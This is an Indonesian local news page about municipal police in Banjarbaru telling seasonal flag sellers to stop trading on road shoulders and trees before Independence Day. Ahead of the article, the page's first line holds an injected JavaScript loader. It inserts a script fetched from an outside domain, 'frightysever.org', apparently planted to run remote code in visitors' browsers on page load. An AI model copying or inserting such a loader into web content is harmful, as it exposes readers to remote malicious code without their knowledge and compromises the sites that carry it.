(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ditegur Satpol PP Banjarbaru, Penjual Atribut Merah Putih Diminta Tak Berjualan di Bahu Jalan


KANALKALIMANTAN.COM, BANJARBARU – Aktivitas pedagang atribut merah putih mulai marak menjajakan dagangan menyambut Hari Ulang Tahun (HUT) ke-80 Kemerdekaan Indonesia.

Pedagang yang kebanyakan menjual bendera merah putih ini mulai berjejer di sejumlah sudut Kota Banjarbaru, Provinsi Kalimantan Selatan (Kalsel).

Tak sedikit  pedagang bendera merah putih ini menyalahi aturan karena mengganggu keindahan tatanan jalanan Ibu Kota Provinsi Kalsel.

Baca juga: Empat Rombel Belajar Lesehan di Aula SDN 2 Laura Dikirimi Meja Kursi 

Sebagian dari mereka yang menjajakan dagangan di ruas Jalan Trikora dan Jalan Ahmad Yani, terjaring penertiban oleh Satuan Polisi Pamong Paraja (Satpol PP) Kota Banjarbaru.

Saat patroli cipta kondisi, petugas menertibkan salah satu pedagang bendera yang berjualan di bahu Jalan Karang Anyar 1 Kelurahan Loktabat Utara, Kota Banjarbaru.

Baca juga: Kwik Kian Gie Meninggal Dunia, Ini Profil Menteri Era Gus Dur-Megawati

Kepala Satpol PP Kota Banjarbaru, Hidayaturrahman. Foto: wanda

Selain memberikan teguran lisan, petugas ikut membantu merapikan bendera yang dipasang di pohon dan mengimbau agar tidak menggunakan fasilitas umum untuk berjualan.

“Menjual bendera untuk menyambut HUT RI tentu kami hargai, tapi harus tetap memperhatikan aturan. Bahu jalan dan pohon bukan tempat untuk berjualan,” ujar Kepala Satpol PP Kota Banjarbaru, Hidayaturrahman, Senin (28/7/2025).

Dayat -sapaan akrabnya- menegaskan bahwa pihaknya tidak melarang aktivitas berjualan.

Baca juga: 42 PNS Pemko Banjarbaru Naik Pangkat, Penghargaan Loyalitas Kinerja Terbaik

Kendati demikian petugas menyoroti lokasi yang digunakan pedagang karena berpotensi mengganggu kenyamanan dan keselamatan pengguna jalan.

“Tempat-tempat yang tidak diperbolehkan dan bisa mengganggu kenyamanan pengguna jalan, itu yang kita tegur,” sambung dia.

Selain di Jalan Karang Anyar, patroli juga dilakukan di beberapa titik lain seperti Jalan Ahmad Yani dan Jalan Beringin.

Baca juga: Karhutla di Desa Beringin, Kapolres HSU: Jangan Buka Lahan Dengan Cara Dibakar

Fokus penertiban adalah pedagang musiman yang berjualan di trotoar atau bahu jalan. Selama kegiatan berlangsung, situasi tetap aman dan kondusif.

Dayat pun mengimbau para pedagang untuk memilih lokasi berjualan yang sesuai aturan agar tidak mengganggu fasilitas umum maupun arus lalu lintas. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

10 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

11 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

11 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.